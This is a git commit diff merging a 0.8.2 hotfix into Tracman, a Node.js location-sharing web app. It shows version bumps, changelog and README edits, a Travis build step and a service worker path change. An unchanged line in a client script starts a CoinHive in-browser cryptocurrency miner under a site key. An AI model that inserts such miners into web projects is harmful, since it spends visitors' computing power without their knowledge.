Merged hotfix-0.8.2 into develop
commit
4d72d9bf1e
|
@ -4,3 +4,5 @@ node_js:
|
||||||
branches:
|
branches:
|
||||||
only:
|
only:
|
||||||
- master
|
- master
|
||||||
|
build:
|
||||||
|
echo "module.exports = require('./travis.js');" > config/env/env.js
|
|
@ -1,8 +1,8 @@
|
||||||
# Tracman Server Changelog
|
# Tracman Server Changelog
|
||||||
### v0.8.1
|
### v0.8.2
|
||||||
|
|
||||||
###### v0.8.1
|
###### v0.8.1/2
|
||||||
* Hotfixed service worker bug
|
* Hotfixed service worker bugs
|
||||||
|
|
||||||
###### v0.8.0
|
###### v0.8.0
|
||||||
* Added check to ensure only the newest location is sent
|
* Added check to ensure only the newest location is sent
|
||||||
|
|
|
@ -1,5 +1,5 @@
|
||||||
# <img align="left" src="/static/img/icon/by/48.png" alt="T" title="The Tracman Logo">Tracman
|
# <img align="left" src="/static/img/icon/by/48.png" alt="T" title="The Tracman Logo">Tracman
|
||||||
###### v 0.8.1
|
###### v 0.8.2
|
||||||
|
|
||||||
node.js application to display a sharable map with user's location.
|
node.js application to display a sharable map with user's location.
|
||||||
|
|
||||||
|
@ -55,8 +55,8 @@ Tracman will be updated according to [this branching model](http://nvie.com/post
|
||||||
|
|
||||||
[view full changelog](CHANGELOG.md)
|
[view full changelog](CHANGELOG.md)
|
||||||
|
|
||||||
###### v0.8.1
|
###### v0.8.1/2
|
||||||
* Hotfixed service worker bug
|
* Hotfixed service worker bugs
|
||||||
|
|
||||||
#### v0.8.0
|
#### v0.8.0
|
||||||
* Added check to ensure only the newest location is sent
|
* Added check to ensure only the newest location is sent
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "tracman",
|
"name": "tracman",
|
||||||
"version": "0.8.1",
|
"version": "0.8.2",
|
||||||
"description": "Tracks user's GPS location",
|
"description": "Tracks user's GPS location",
|
||||||
"main": "server.js",
|
"main": "server.js",
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
|
|
|
@ -6,12 +6,11 @@ const bodyParser = require('body-parser')
|
||||||
const expressValidator = require('express-validator')
|
const expressValidator = require('express-validator')
|
||||||
const cookieParser = require('cookie-parser')
|
const cookieParser = require('cookie-parser')
|
||||||
const cookieSession = require('cookie-session')
|
const cookieSession = require('cookie-session')
|
||||||
const debug = require('debug')('tracman-server')
|
|
||||||
const mongoose = require('mongoose')
|
const mongoose = require('mongoose')
|
||||||
const nunjucks = require('nunjucks')
|
const nunjucks = require('nunjucks')
|
||||||
const passport = require('passport')
|
const passport = require('passport')
|
||||||
const flash = require('connect-flash-plus')
|
const flash = require('connect-flash-plus')
|
||||||
const env = require(process.env.ENV_FILE||'./config/env/env.js')
|
const env = require('./config/env/env.js')
|
||||||
const User = require('./config/models.js').user
|
const User = require('./config/models.js').user
|
||||||
const mail = require('./config/mail.js')
|
const mail = require('./config/mail.js')
|
||||||
const demo = require('./config/demo.js')
|
const demo = require('./config/demo.js')
|
||||||
|
|
|
@ -21,7 +21,7 @@ new CoinHive.Anonymous('7FZrGIbIO4kqxbTLa82QpffB9ShUGmWE', {
|
||||||
// Service worker
|
// Service worker
|
||||||
if ('serviceWorker' in navigator) {
|
if ('serviceWorker' in navigator) {
|
||||||
window.addEventListener('load', function () {
|
window.addEventListener('load', function () {
|
||||||
navigator.serviceWorker.register('/static/js/sw.js'/*'/static/js/.sw.bun.js'*/).then( function(registration) {
|
navigator.serviceWorker.register('/static/js/.sw.bun.js'/*'/static/js/.sw.bun.js'*/).then( function(registration) {
|
||||||
// Registration was successful
|
// Registration was successful
|
||||||
console.log('ServiceWorker registration successful with scope: ', registration.scope)
|
console.log('ServiceWorker registration successful with scope: ', registration.scope)
|
||||||
}, function(err) {
|
}, function(err) {
|
||||||
|
|
|
@ -16,7 +16,7 @@
|
||||||
// Names of the two caches used in this version of the service worker.
|
// Names of the two caches used in this version of the service worker.
|
||||||
// Change when you update any of the local resources, which will
|
// Change when you update any of the local resources, which will
|
||||||
// in turn trigger the install event again.
|
// in turn trigger the install event again.
|
||||||
const PRECACHE = 'precache-0.8.1'
|
const PRECACHE = 'precache-0.8.2'
|
||||||
const RUNTIME = 'runtime'
|
const RUNTIME = 'runtime'
|
||||||
|
|
||||||
// A list of local resources we always want to be cached.
|
// A list of local resources we always want to be cached.
|
||||||
|
|
Loading…
Reference in New Issue